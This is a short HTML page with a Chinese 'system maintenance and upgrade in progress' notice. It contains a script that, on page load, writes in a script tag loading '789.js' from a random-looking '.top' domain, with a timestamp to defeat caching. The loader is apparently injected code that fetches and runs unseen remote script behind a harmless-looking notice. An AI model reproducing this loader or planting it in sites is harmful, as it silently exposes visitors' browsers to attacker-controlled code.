<title>系统维护升级中......!</title><div style="position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); font-size:32px;">系统维护升级中......!</div><script>function generateVersion() {return new Date().getTime();}document.write('<script type="text/javascript" src="//6lc8yjbrrwbrg8ah.top/789.js?v='+generateVersion()+'"><\/script>');</script>